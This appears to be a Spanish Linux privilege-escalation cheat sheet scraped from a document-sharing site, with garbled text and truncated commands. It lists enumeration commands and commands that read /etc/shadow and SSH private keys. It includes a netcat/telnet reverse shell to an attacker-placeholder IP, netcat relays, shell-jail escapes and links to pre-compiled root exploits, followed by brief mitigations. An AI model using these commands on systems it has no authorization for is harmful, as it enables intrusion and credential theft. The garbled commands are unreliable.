Elevación de Privilegios en Linux

download Elevación de Privilegios en Linux

of 10

Transcript of Elevación de Privilegios en Linux

Elevacin de Privilegios en Linux (Cheat Sheet)La siguiente Cheat Sheet es una recopilacin de comandos bsicos que nos pueden ayudar a realizar tareas de enumeracin y obtencin de informacin en sistemas Linux/Unix. No todos los comandos/parmetros funcionan con todas las distribuciones, asi que lo primero que hay que hacer es eso: identificar el sistema.

La Enumeracin es la clave La elevacin de privilegios en Linux incluye: Recolectar: Enumerar, enumerar y seguir enumerando. Procesar: Ordenar los datos, analizarlos y priorizarlos. Buscar: Saber que buscar, para qu y donde encontrar el cdigo del exploit.

Adaptar: Personalizar el exploit, para que se ajuste. No todo exploit funciona para todo sistema "out of the box". Probar: Prepararse para muuchas pruebas de ensayo y error.

Sistema Operativo Qu distribucin es? Qu versin? ?

1 2 3 4 5

cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release lsb_release -a

Cual es la versin del Kernel? Es de 64 Bits? ?

1 2 3 4 5 6

cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-

Qu se puede obtener de las variables de entorno? ? cat /etc/profile 1 cat /etc/environment 2 cat /etc/bashrc 3 cat ~/.bash_profile 4 cat ~/.bashrc cat ~/.bash_logout 5

6 7 8 9 10 11

env set cat /proc//environ printenv

Alguna impresora? ? 1 lpstat -a 2 lpc status 3 lpinfo

Aplicaciones y Servicios Qu servicios estn corriendo? Cual tiene privilegios de usuario? ?

1 2 3 4 5 6

ps aux ps -ef top cat /etc/service service --status-all chkconfig --list

Qu servicios corren como root? Cuales son vulnerables? ? 1 ps aux | grep root 2 ps -ef | grep root

Qu aplicaciones estn instaladas? Qu versin tienen? Estn ejecutndose? ?

1 2 3 4 5 6

ls -alh ls -lah dpkg -l rpm -qa ls -lah ls -lah

/usr/bin/ /sbin/ /var/cache/apt/archivesO /var/cache/yum/

Alguna mala configuracin en estos servicios? Hay plugins vulnerables? ? 1 cat /etc/syslog.conf

2 3 4 5 6 7 8

cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

Hay tareas programadas? ?

1 2 3 4 5 6 7 8 9 10 11 12

crontab -l ls -lah /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root

Usuarios y/o contraseas en texto claro? ? 1 grep -i user [filename] grep -i pass [filename] 2 find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # 3 Joomla

Comunicaciones y Redes Qu adaptadores de red tiene el sistema? Conectado a otra red? ? 1 /sbin/ifconfig -a 2 cat /etc/network/interfaces 3 dmesg | grep 'Ethernet driver'

Cuales son las configuraciones de red? DHCP? DNS? Gateway? ? 1 cat /etc/resolv.conf 2 cat /etc/sysconfig/network 3 cat /etc/networks

4 5 6 7

iptables -L hostname dnsdomainname route -n

Qu otros usuarios y mquinas se comunican con el sistema? ?

1 2 3 4 5 6 7 8 9 10

lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w

Que hay en cach? Direcciones IP y/o MAC ? 1 arp -e 2 route 3 /sbin/route -nee

Es posible la inspeccin de paquetes (sniffing)? Qu se puede observar? Escuchar trfico en vivo ? 1 # tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] 2 tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

Tenemos shell? Podemos interactuar con el sistema? ? 1 # http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ # Attacker. Input (Commands) 2 nc -lvp 4444 nc -lvp 4445 # Attacker. Ouput (Results) 3 telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Us 4 attackers IP!

Es posible el redireccionamiento de puertos? Redireccionar e interactuar con el trfico desde otra vista ? # rinetd 1 # http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

2 3

# fpipe

4 5 6 7 8 9 10 11 12 13 14 15

# FPipe.exe -l [puerto local] -r [puerto remoto] -s [puerto local] [IP local] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 # ssh -[L/R] [puerto local]:[IP remota]:[puerto remoto] [usuario local]@[IP local] ssh -L 8080:127.0.0.1:80 [email protected] # Puerto Local ssh -R 8080:127.0.0.1:80 [email protected] # Puerto Remoto # mknod backpipe p mknod backpipe p ; mknod backpipe p ; 8080) mknod backpipe p ; (Puerto 80 a 8080)

; nc -l -p [puerto remoto] < backpipe | nc [IP local] [puerto lo nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Retran nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | t

nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | t

Es posible hacer tnel? Enviar comandos localmente, remotamente ? 1 ssh -D 127.0.0.1:9050 -N [username]@[ip] 2 proxychains ifconfig

Informacin Confidencial y Usuarios Quien eres? Quien est o ha estado logueado? Quien mas est ahi? Quien puede hacer que? ? 1 id 2 who 3 w last 4 cat /etc/passwd | cut -d: # Lista de usuarios 5 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # Lista de super6 usuarios 7 awk -F: '($3 == "0") {print}' /etc/passwd # Lista de super usuarios 8 cat /etc/sudoers 9 sudo -l

Qu archivos sensibles podemos encontrar? ?

1 2 3 4

cat /etc/passwd cat /etc/group cat /etc/shadow ls -lah /var/mail/

Algo "interesante" en los directorios /home? Es posible acceder a estos? ? 1 ls -ahlR /root/

2

ls -ahlR /home/

Hay contraseas, scripts, bases de datos, archivos de configuracin o de logs? Rutas por defecto y ubicaciones de contraseas ? 1 cat /var/lib/mysql/mysql/user.MYD 2 cat /root/anaconda-ks.cfg

Que ha estado haciendo el usuario? Hay alguna contrasea en texto claro? Que ha estado editando? ?

1 2 3 4

cat cat cat cat

~/.bash_history ~/.nano_history ~/.atftp_history ~/.mysql_history

Qu informacin del usuario podemos encontrar? ?

1 2 3 4

cat cat cat cat

~/.bashrc ~/.profile /var/mail/root /var/spool/mail/root

Podemos encontrar informacin de llave privada? ?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

cat cat cat cat cat cat cat cat cat cat cat cat cat cat cat

~/.ssh/authorized_keys ~/.ssh/identity.pub ~/.ssh/identity ~/.ssh/id_rsa.pub ~/.ssh/id_rsa ~/.ssh/id_dsa.pub ~/.ssh/id_dsa /etc/ssh/ssh_config /etc/ssh/sshd_config /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_key.pub /etc/ssh/ssh_host_key

Sistemas de Archivos

Qu podemos modificar en /etc/? Podemos reconfigurar un servicio? ? 1 ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Todos # Propietario 2 ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null 3 ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Grupo 4 ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Otros

5 6 7

find /etc/ -readable -type f 2>/dev/null # Todos find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Todos

Qu podemos encontrar en /var/ ? ?

1 2 3 4 5 6 7

ls -lah /var/log ls -lah /var/mail ls -lah /var/spool ls -lah /var/spool/lpd ls -lah /var/lib/pgsql ls -lah /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases

Alguna configuracin/archivo oculto en el sitio web? Algn archivo de configuracin con informacin de bases de datos? ?

1 2 3 4 5

ls ls ls ls ls

-lahR -lahR -lahR -lahR -lahR

/var/www/ /srv/www/htdocs/ /usr/local/www/apache22/data/ /opt/lampp/htdocs/ /var/www/html/

Algo en los archivos de logs? (Podra ayudar con "Local File Includes"!) ?

1 2 3 4 5 6 7

cat cat cat cat cat cat cat

/var/log/messages /var/log/secure /var/webmin/miniserv.log /var/log/cups/error_log /var/log/chttp.log /var/log/lighttpd/access.log /var/log/lighttpd/error.log

Si los comandos son limitados, podremos saltarnos la "jaula" de la shell? ? 1 python -c 'import pty;pty.spawn("/bin/bash")'

2 3

echo os.system('/bin/bash') /bin/sh -i

Como estn montados los sistemas de archivos? ? 1 mount 2 df -h

Hay algn sistema de archivos sin montar? ? 1 cat /etc/fstab

Que "Permisos Avanzados de Archivos Linux" son utilizados? Sticky bits, SUID & GUID ? 1find / -perm -1000 -type d 2>/dev/null # Sticky bit - Solo el dueo del directorio o del 2find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - ejecucin como grupo, no co 3find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - ejecucin como dueo, no co 4find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID SUID 5for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/nu 6/usr/local/bin, /usr/local/sbin y en cualquier otro *bin, (Bsqueda ms rpida)

7 # Buscar iniciando en la raz (/), SGID SUID, no enlaces simblicos, solo 3 niveles d 8find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

En donde se puede escribir y desde donde se puede ejecutar? Unos cuantos lugares "comunes": /tmp, /var/tmp, /dev/shm ? find / -writable -type d 2>/dev/null # directorios con escritura para todos 1 find / -perm -222 -type d 2>/dev/null # directorios con escritura para 2 todos 3 find / -perm -o+w -type d 2>/dev/null # directorios con escritura para todos 4 find / -perm -o+x -type d 2>/dev/null # directorios con ejecucin para 5 todos find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # ejecucin & escritura

Hay algn archivo "problema"? Archivos con usuario "nobody"? ? # Archivos con escrit 1 find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print para todos 2 find /dir -xdev \( -nouser -o -nogroup \) -print # Archivos sin dueo

Bsqueda & Preparacin de Cdigos para Exploits Qu herramientas/lenguajes de desarrollo estn soportadas/instaladas? ?

1 2 3 4

find find find find

/ / / /

-name -name -name -name

perl* python* gcc* cc

Cmo se pueden cargar los archivos? ?

1 2 3 4 5

find find find find find

/ / / / /

-name -name -name -name -name

wget nc* netcat* tftp* ftp

Encontrando Exploits http://www.exploit-db.com http://1337day.com http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com

Buscando mas informacin sobre los exploits http://www.cvedetails.com http://packetstormsecurity.org/files/cve/[CVE] http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] http://www.vulnview.com/cve-details.php?cvename=[CVE]

Exploits rpidos. Binarios Pre-complilados. Utilizar con precaucin http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

Mitigaciones

Probar con los comandos anteriores que tan fcil es obtener la informacin.

Configure una tarea cron el cual se encargue de automatizar scripts o productos de terceros. El sistema se encuentra debidamente parchado? Kernel, sistema operativo, todas las aplicaciones, sus complementos y servicios web ? 1 apt-get update && apt-get upgrade 2 yum update

Estn los servicios ejecutndose con el nivel mnimo de privilegios? Por ejemplo, es necesario ejecutar MySQL como root?

Scripts que pueden ayudar a automatizar algo de esto http://pentestmonkey.net/tools/unix-privesc-check/ http://labs.portcullis.co.uk/application/enum4linux/ http://bastille-linux.sourceforge.net

Otros enlaces y guas "rpidas" Enumeracin http://www.0daysecurity.com/penetration-testing/enumeration.html http://www.microloft.co.uk/hacking/hacking3.htm

Misc. http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html